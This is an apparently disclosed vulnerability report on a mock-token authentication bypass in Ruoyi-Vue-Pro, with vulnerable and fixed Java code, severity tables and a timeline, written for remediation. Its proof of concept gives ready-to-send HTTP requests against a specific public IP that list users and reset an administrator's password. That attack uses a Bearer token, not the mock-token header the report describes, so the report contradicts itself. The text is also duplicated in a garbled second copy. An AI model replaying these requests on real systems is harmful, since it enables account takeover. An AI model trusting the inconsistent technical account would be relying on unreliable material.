CVE Report: Ruoyi-Vue-Pro Mock Token Authentication Bypass Vulnerability
Basic Information
| Item |
Content |
| Title |
[Critical] Ruoyi-Vue-Pro Mock Token Authentication Bypass |
| Product |
Ruoyi-Vue-Pro |
| Vendor |
RuoYi |
| Affected Version |
3.5.0 - 3.8.0 |
| Severity |
Critical (CVSS 3.1: 9.8) |
| Reporter |
9str0il |
| Discovery Date |
2026-04-01 |
| Disclosure Date |
2026-04-15 |
| References |
https://github.com/YunaiV/yudao-cloud |
Vulnerability Description
A critical authentication bypass vulnerability exists in Ruoyi-Vue-Pro JwtAuthenticationTokenFilter.java. The vulnerability allows unauthenticated attackers to bypass the authentication system and impersonate any user by using a special "Mock Token" header, potentially leading to full system compromise.
The doFilterInternal method checks for a mock-token header and directly extracts the user ID without any environment validation or authentication, allowing attackers to forge any user identity.
Affected Component
| Item |
Content |
| File |
com.ruoyi.framework.security.filter.JwtAuthenticationTokenFilter |
| Method |
doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain chain) |
| Class |
JwtAuthenticationTokenFilter |
| Controller |
Various controllers requiring authentication |
| API |
All authenticated API endpoints |
Vulnerability Details
Vulnerable Code
JwtAuthenticationTokenFilter.java:
// Vulnerable code
if (request.getHeader("mock-token") != null) {
String mockToken = request.getHeader("mock-token");
if (mockToken.startsWith("user_")) {
String userId = mockToken.substring(5);
// Directly extract user ID from token, skip authentication
UserDetails userDetails = userDetailsService.loadUserByUsername(userId);
// Generate authentication object
UsernamePasswordAuthenticationToken authentication =
new UsernamePasswordAuthenticationToken(userDetails, null, userDetails.getAuthorities());
SecurityContextHolder.getContext().setAuthentication(authentication);
return;
}
}
Root Cause
The vulnerability stems from the JwtAuthenticationTokenFilter checking for a mock-token header without validating the current environment. The code directly extracts the user ID from the header and creates an authentication object without any verification, bypassing the normal JWT token validation process.
Attack Vector
- Authentication: No authentication required
- Input Injection: Attacker sends
mock-token header with desired user ID
- Execution: Server processes the header and creates authentication
- Impact: Attacker gains access as any user, including administrators
CVSS 3.1 Vector String
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
| Metric |
Value |
Description |
| Attack Vector (AV) |
Network |
Can be exploited over the network |
| Attack Complexity (AC) |
Low |
No special conditions required |
| Privileges Required (PR) |
None |
No authentication needed |
| User Interaction (UI) |
None |
No user interaction required |
| Scope (S) |
Unchanged |
Does not affect other components |
| Confidentiality (C) |
High |
Complete data access |
| Integrity (I) |
High |
Complete data manipulation |
| Availability (A) |
High |
Complete system takeover |
CWE Classification
| Item |
Content |
| CWE ID |
CWE-287 |
| CWE Name |
Improper Authentication |
| CAPEC ID |
CAPEC-112 |
Impact
- Authentication Bypass: Completely bypasses the authentication system
- Privilege Escalation: Can obtain any user's permissions, including administrator privileges
- Data Exfiltration: Can access all sensitive system data
- System Takeover: Can execute administrative operations and control system configuration
- Data Manipulation: Can modify or delete system data
Remediation
Recommended Fix
Option 1: Environment-based Control
// Fixed code
if (request.getHeader("mock-token") != null && !isProductionEnvironment()) {
// Only enable Mock Token in non-production environments
String mockToken = request.getHeader("mock-token");
if (mockToken.startsWith("user_")) {
String userId = mockToken.substring(5);
// Validate user ID
if (isValidUserId(userId)) {
UserDetails userDetails = userDetailsService.loadUserByUsername(userId);
UsernamePasswordAuthenticationToken authentication =
new UsernamePasswordAuthenticationToken(userDetails, null, userDetails.getAuthorities());
SecurityContextHolder.getContext().setAuthentication(authentication);
return;
}
}
}
Option 2: Remove Mock Token functionality
// Remove the entire Mock Token code block
// Use proper JWT authentication for all environments
Additional Security Measures
- Implement environment isolation with separate configuration files
- Establish configuration review processes before deployment
- Implement a configuration center for centralized environment management
- Regular security scanning to detect test code in production
- Code review mechanisms to ensure test code doesn't enter production
- Logging and monitoring for authentication bypass attempts
Proof of Concept (PoC)
Step 1: Get Current User Information
Access /admin-api/system/user/page?pageNo=1&pageSize=10 without authorization
Add Authorization: Bearer test1 request header
Full request:
GET /admin-api/system/user/page?pageNo=1&pageSize=10 HTTP/1.1
Host: 62.234.80.83
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer test1
tenant-id: 1
visit-tenant-id: 1
Cache-Control: no-cache
Pragma: no-cache
Connection: keep-alive
Referer: http://62.234.80.83/system/user
Priority: u=0

Step 2: Modify Any User's Password
Full request:
Where id can be any user
PUT /admin-api/system/user/update-password HTTP/1.1
Host: 62.234.80.83
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Authorization: Bearer test1
tenant-id: 1
Content-Length: 32
Origin: http://62.234.80.83
Connection: keep-alive
Referer: http://62.234.80.83/system/user
Cookie:
Priority: u=0
{"id":147,"password":"admin123"}

Step 3: Get User Permissions
Obtain user permissions through the unauthorized account and reset password:
Take user with id=147 as example: username=admin666 password=admin123
Successful login:

Expected Result
- Successfully bypass authentication and access the system as any user
- Ability to access management functions requiring specific permissions
- Ability to retrieve sensitive information
Timeline
| Date |
Event |
| 2026-04-01 |
Vulnerability discovered during security audit |
| 2026-04-02 |
Vulnerability verified |
| 2026-04-05 |
Vendor notified |
| 2026-04-10 |
Fix solution released |
| 2026-04-15 |
CVE ID assigned and report published |
References
- https://gitee.com/y_project/RuoYi-Vue-Pro
- https://cwe.mitre.org/data/definitions/287.html
- https://owasp.org/www-community/attacks/Authentication_Bypass_Attack
- https://portswigger.net/web-security/authentication/other-mechanisms
Credits
Discovered by 9str0il during security code audit.
Disclaimer: This vulnerability report is submitted for responsible disclosure. The reporter is not responsible for any misuse of this information. This report is intended for security research and vulnerability remediation purposes only.
CVE Report: Ruoyi-Vue-Pro Mock Token Authentication Bypass Vulnerability
Basic Information
Vulnerability Description
A critical authentication bypass vulnerability exists in Ruoyi-Vue-Pro
JwtAuthenticationTokenFilter.java. The vulnerability allows unauthenticated attackers to bypass the authentication system and impersonate any user by using a special "Mock Token" header, potentially leading to full system compromise.The
doFilterInternalmethod checks for amock-tokenheader and directly extracts the user ID without any environment validation or authentication, allowing attackers to forge any user identity.Affected Component
com.ruoyi.framework.security.filter.JwtAuthenticationTokenFilterdoFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain chain)JwtAuthenticationTokenFilterVulnerability Details
Vulnerable Code
JwtAuthenticationTokenFilter.java:
Root Cause
The vulnerability stems from the
JwtAuthenticationTokenFilterchecking for amock-tokenheader without validating the current environment. The code directly extracts the user ID from the header and creates an authentication object without any verification, bypassing the normal JWT token validation process.Attack Vector
mock-tokenheader with desired user IDCVSS 3.1 Vector String
CWE Classification
Impact
Remediation
Recommended Fix
Option 1: Environment-based Control
Option 2: Remove Mock Token functionality
Additional Security Measures
Proof of Concept (PoC)
Step 1: Get Current User Information
Access
/admin-api/system/user/page?pageNo=1&pageSize=10without authorizationAdd
Authorization: Bearer test1request headerFull request:
Step 2: Modify Any User's Password
Full request:
Where
idcan be any userStep 3: Get User Permissions
Obtain user permissions through the unauthorized account and reset password:
Take user with id=147 as example: username=admin666 password=admin123
Successful login:
Expected Result
Timeline
References
Credits
Discovered by 9str0il during security code audit.
Disclaimer: This vulnerability report is submitted for responsible disclosure. The reporter is not responsible for any misuse of this information. This report is intended for security research and vulnerability remediation purposes only.